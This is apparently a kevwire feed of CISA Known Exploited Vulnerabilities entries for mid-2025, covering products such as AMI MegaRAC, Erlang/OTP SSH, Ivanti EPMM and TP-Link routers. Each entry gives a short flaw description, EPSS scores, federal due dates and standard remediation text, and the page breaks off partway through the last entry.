https://api.first.org/data/v1/epss?cve=CVE-2024-0769&date=2026-10-25 CISA added this entry on 2025-06-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 25, 2025; federal due date Jul 16, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### AMI MegaRAC SPx Authentication Bypass by Spoofing Vulnerability https://kevwire.com/record/CVE-2024-54085 AMI MegaRAC SPx Authentication Bypass by Spoofing Vulnerability (Jun 25, 2025). AMI MegaRAC SPx contains an authentication bypass by spoofing vulnerability in the Redfish Host Interface. A successful exploitation of this vulnerability may lead to a loss of confidentiality, integrity, and/or availability. EPSS 60.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-54085&date=2026-10-25). Sources: CISA KEV entry CVE-2024-54085: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-54085&date=2026-10-25 CISA added this entry on 2025-06-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 25, 2025; federal due date Jul 16, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Improper Ownership Management Vulnerability https://kevwire.com/record/CVE-2023-0386 Linux Kernel Improper Ownership Management Vulnerability (Jun 17, 2025). Linux Kernel contains an improper ownership management vulnerability, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system. EPSS 7.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-0386&date=2026-10-25). Sources: CISA KEV entry CVE-2023-0386: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-0386&date=2026-10-25 CISA added this entry on 2025-06-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 17, 2025; federal due date Jul 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### TP-Link Multiple Routers Command Injection Vulnerability https://kevwire.com/record/CVE-2023-33538 TP-Link Multiple Routers Command Injection Vulnerability (Jun 16, 2025). TP-Link TL-WR940N V2/V4, TL-WR841N V8/V10, and TL-WR740N V1/V2 contain a command injection vulnerability via the component /userRpm/WlanNetworkRpm. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 41.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-33538&date=2026-10-25). Sources: CISA KEV entry CVE-2023-33538: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-33538&date=2026-10-25 CISA added this entry on 2025-06-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 16, 2025; federal due date Jul 7, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Unspecified Vulnerability https://kevwire.com/record/CVE-2025-43200 Apple Multiple Products Unspecified Vulnerability (Jun 16, 2025). Apple iOS, iPadOS, macOS, watchOS, and visionOS, contain an unspecified vulnerability when processing a maliciously crafted photo or video shared via an iCloud Link. EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-43200&date=2026-10-25). Sources: CISA KEV entry CVE-2025-43200: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-43200&date=2026-10-25 CISA added this entry on 2025-06-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 16, 2025; federal due date Jul 7, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows External Control of File Name or Path Vulnerability https://kevwire.com/record/CVE-2025-33053 Microsoft Windows External Control of File Name or Path Vulnerability (Jun 10, 2025). Microsoft Windows contains an external control of file name or path vulnerability that could allow an attacker to execute code from a remote WebDAV location specified by the WorkingDirectory attribute of Internet Shortcut files. EPSS 87.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-33053&date=2026-10-25). Sources: CISA KEV entry CVE-2025-33053: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-33053&date=2026-10-25 CISA added this entry on 2025-06-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 10, 2025; federal due date Jul 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Wazuh Server Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2025-24016 Wazuh Server Deserialization of Untrusted Data Vulnerability (Jun 10, 2025). Wazuh contains a deserialization of untrusted data vulnerability that allows for remote code execution on Wazuh servers. EPSS 93.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24016&date=2026-10-25). Sources: CISA KEV entry CVE-2025-24016: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24016&date=2026-10-25 CISA added this entry on 2025-06-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 10, 2025; federal due date Jul 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### RoundCube Webmail Cross-Site Scripting Vulnerability https://kevwire.com/record/CVE-2024-42009 RoundCube Webmail Cross-Site Scripting Vulnerability (Jun 9, 2025). RoundCube Webmail contains a cross-site scripting vulnerability. This vulnerability could allow a remote attacker to steal and send emails of a victim via a crafted e-mail message that abuses a Desanitization issue in message_body() in program/actions/mail/show.php. EPSS 82.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-42009&date=2026-10-25). Sources: CISA KEV entry CVE-2024-42009: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-42009&date=2026-10-25 CISA added this entry on 2025-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 9, 2025; federal due date Jun 30, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Erlang Erlang/OTP SSH Server Missing Authentication for Critical Function Vulnerability https://kevwire.com/record/CVE-2025-32433 Erlang Erlang/OTP SSH Server Missing Authentication for Critical Function Vulnerability (Jun 9, 2025). Erlang Erlang/OTP SSH server contains a missing authentication for critical function vulnerability. This could allow an attacker to execute arbitrary commands without valid credentials, potentially leading to unauthenticated remote code execution (RCE). By exploiting a flaw in how SSH protocol messages are handled, a malicious actor could gain unauthorized access to affected systems. This vulnerability could affect various products that implement Erlang/OTP SSH server, including—but not limited to—Cisco, NetApp, and SUSE. EPSS 98.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-32433&date=2026-10-25). Sources: CISA KEV entry CVE-2025-32433: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-32433&date=2026-10-25 CISA added this entry on 2025-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 9, 2025; federal due date Jun 30, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Out-of-Bounds Read and Write Vulnerability https://kevwire.com/record/CVE-2025-5419 Google Chromium V8 Out-of-Bounds Read and Write Vulnerability (Jun 5, 2025). Google Chromium V8 contains an out-of-bounds read and write vulnerability that could allow a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 7.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-5419&date=2026-10-25). Sources: CISA KEV entry CVE-2025-5419: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-5419&date=2026-10-25 CISA added this entry on 2025-06-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 5, 2025; federal due date Jun 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Qualcomm Multiple Chipsets Incorrect Authorization Vulnerability https://kevwire.com/record/CVE-2025-21479 Qualcomm Multiple Chipsets Incorrect Authorization Vulnerability (Jun 3, 2025). Multiple Qualcomm chipsets contain an incorrect authorization vulnerability. This vulnerability allows for memory corruption due to unauthorized command execution in GPU micronode while executing specific sequence of commands. EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21479&date=2026-10-25). Sources: CISA KEV entry CVE-2025-21479: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21479&date=2026-10-25 CISA added this entry on 2025-06-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 3, 2025; federal due date Jun 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Qualcomm Multiple Chipsets Incorrect Authorization Vulnerability https://kevwire.com/record/CVE-2025-21480 Qualcomm Multiple Chipsets Incorrect Authorization Vulnerability (Jun 3, 2025). Multiple Qualcomm chipsets contain an incorrect authorization vulnerability. This vulnerability allows for memory corruption due to unauthorized command execution in GPU micronode while executing specific sequence of commands. EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21480&date=2026-10-25). Sources: CISA KEV entry CVE-2025-21480: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21480&date=2026-10-25 CISA added this entry on 2025-06-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 3, 2025; federal due date Jun 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Qualcomm Multiple Chipsets Use-After-Free Vulnerability https://kevwire.com/record/CVE-2025-27038 Qualcomm Multiple Chipsets Use-After-Free Vulnerability (Jun 3, 2025). Multiple Qualcomm chipsets contain a use-after-free vulnerability. This vulnerability allows for memory corruption while rendering graphics using Adreno GPU drivers in Chrome. EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-27038&date=2026-10-25). Sources: CISA KEV entry CVE-2025-27038: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-27038&date=2026-10-25 CISA added this entry on 2025-06-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 3, 2025; federal due date Jun 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ASUS Routers Improper Authentication Vulnerability https://kevwire.com/record/CVE-2021-32030 ASUS Routers Improper Authentication Vulnerability (Jun 2, 2025). ASUS Lyra Mini and ASUS GT-AC2900 devices contain an improper authentication vulnerability that allows an attacker to gain unauthorized access to the administrative interface. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-32030&date=2026-10-25). Sources: CISA KEV entry CVE-2021-32030: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-32030&date=2026-10-25 CISA added this entry on 2025-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 2, 2025; federal due date Jun 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ConnectWise ScreenConnect Improper Authentication Vulnerability https://kevwire.com/record/CVE-2025-3935 ConnectWise ScreenConnect Improper Authentication Vulnerability (Jun 2, 2025). ConnectWise ScreenConnect contains an improper authentication vulnerability. This vulnerability could allow a ViewState code injection attack, which could allow remote code execution if machine keys are compromised. EPSS 3.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-3935&date=2026-10-25). Sources: CISA KEV entry CVE-2025-3935: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-3935&date=2026-10-25 CISA added this entry on 2025-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 2, 2025; federal due date Jun 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Craft CMS External Control of Assumed-Immutable Web Parameter Vulnerability https://kevwire.com/record/CVE-2025-35939 Craft CMS External Control of Assumed-Immutable Web Parameter Vulnerability (Jun 2, 2025). Craft CMS contains an external control of assumed-immutable web parameter vulnerability. This vulnerability could allow an unauthenticated client to introduce arbitrary values, such as PHP code, to a known local file location on the server. This vulnerability could be chained with CVE-2024-58136 as represented by CVE-2025-32432. EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-35939&date=2026-10-25). Sources: CISA KEV entry CVE-2025-35939: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-35939&date=2026-10-25 CISA added this entry on 2025-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 2, 2025; federal due date Jun 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Craft CMS Code Injection Vulnerability https://kevwire.com/record/CVE-2024-56145 Craft CMS Code Injection Vulnerability (Jun 2, 2025). Craft CMS contains a code injection vulnerability. Users with affected versions are vulnerable to remote code execution if their php.ini configuration has `register_argc_argv` enabled. EPSS 97.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-56145&date=2026-10-25). Sources: CISA KEV entry CVE-2024-56145: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-56145&date=2026-10-25 CISA added this entry on 2025-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 2, 2025; federal due date Jun 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ASUS RT-AX55 Routers OS Command Injection Vulnerability https://kevwire.com/record/CVE-2023-39780 ASUS RT-AX55 Routers OS Command Injection Vulnerability (Jun 2, 2025). ASUS RT-AX55 devices contain an OS command injection vulnerability that could allow a remote, authenticated attacker to execute arbitrary commands. As represented by CVE-2023-41346. EPSS 39.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-39780&date=2026-10-25). Sources: CISA KEV entry CVE-2023-39780: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-39780&date=2026-10-25 CISA added this entry on 2025-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 2, 2025; federal due date Jun 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Samsung MagicINFO 9 Server Path Traversal Vulnerability https://kevwire.com/record/CVE-2025-4632 Samsung MagicINFO 9 Server Path Traversal Vulnerability (May 22, 2025). Samsung MagicINFO 9 Server contains a path traversal vulnerability that allows an attacker to write arbitrary file as system authority. EPSS 24.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-4632&date=2026-10-25). Sources: CISA KEV entry CVE-2025-4632: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-4632&date=2026-10-25 CISA added this entry on 2025-05-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 22, 2025; federal due date Jun 12, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ZKTeco BioTime Path Traversal Vulnerability https://kevwire.com/record/CVE-2023-38950 ZKTeco BioTime Path Traversal Vulnerability (May 19, 2025). ZKTeco BioTime contains a path traversal vulnerability in the iclock API that allows an unauthenticated attacker to read arbitrary files via supplying a crafted payload. EPSS 92.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-38950&date=2026-10-25). Sources: CISA KEV entry CVE-2023-38950: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-38950&date=2026-10-25 CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 19, 2025; federal due date Jun 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability https://kevwire.com/record/CVE-2024-27443 Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability (May 19, 2025). Zimbra Collaboration contains a cross-site scripting (XSS) vulnerability in the CalendarInvite feature of the Zimbra webmail classic user interface. An attacker can exploit this vulnerability via an email message containing a crafted calendar header, leading to the execution of arbitrary JavaScript code. EPSS 24.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-27443&date=2026-10-25). Sources: CISA KEV entry CVE-2024-27443: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-27443&date=2026-10-25 CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 19, 2025; federal due date Jun 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Srimax Output Messenger Directory Traversal Vulnerability https://kevwire.com/record/CVE-2025-27920 Srimax Output Messenger Directory Traversal Vulnerability (May 19, 2025). Srimax Output Messenger contains a directory traversal vulnerability that allows an attacker to access sensitive files outside the intended directory, potentially leading to configuration leakage or arbitrary file access. EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-27920&date=2026-10-25). Sources: CISA KEV entry CVE-2025-27920: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-27920&date=2026-10-25 CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 19, 2025; federal due date Jun 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### MDaemon Email Server Cross-Site Scripting (XSS) Vulnerability https://kevwire.com/record/CVE-2024-11182 MDaemon Email Server Cross-Site Scripting (XSS) Vulnerability (May 19, 2025). MDaemon Email Server contains a cross-site scripting (XSS) vulnerability that allows a remote attacker to load arbitrary JavaScript code via an HTML e-mail message. EPSS 33.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-11182&date=2026-10-25). Sources: CISA KEV entry CVE-2024-11182: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-11182&date=2026-10-25 CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 19, 2025; federal due date Jun 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Endpoint Manager Mobile (EPMM) Code Injection Vulnerability https://kevwire.com/record/CVE-2025-4428 Ivanti Endpoint Manager Mobile (EPMM) Code Injection Vulnerability (May 19, 2025). Ivanti Endpoint Manager Mobile (EPMM) contains a code injection vulnerability in the API component that allows an authenticated attacker to remotely execute arbitrary code via crafted API requests. This vulnerability results from an insecure implementation of the Hibernate Validator open-source library, as represented by CVE-2025-35036. EPSS 88.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-4428&date=2026-10-25). Sources: CISA KEV entry CVE-2025-4428: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-4428&date=2026-10-25 CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 19, 2025; federal due date Jun 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Endpoint Manager Mobile (EPMM) Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2025-4427 Ivanti Endpoint Manager Mobile (EPMM) Authentication Bypass Vulnerability (May 19, 2025). Ivanti Endpoint Manager Mobile (EPMM) contains an authentication bypass vulnerability in the API component that allows an attacker to access protected resources without proper credentials via crafted API requests. This vulnerability results from an insecure implementation of the Spring Framework open-source library. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-4427&date=2026-10-25). Sources: CISA KEV entry CVE-2025-4427: 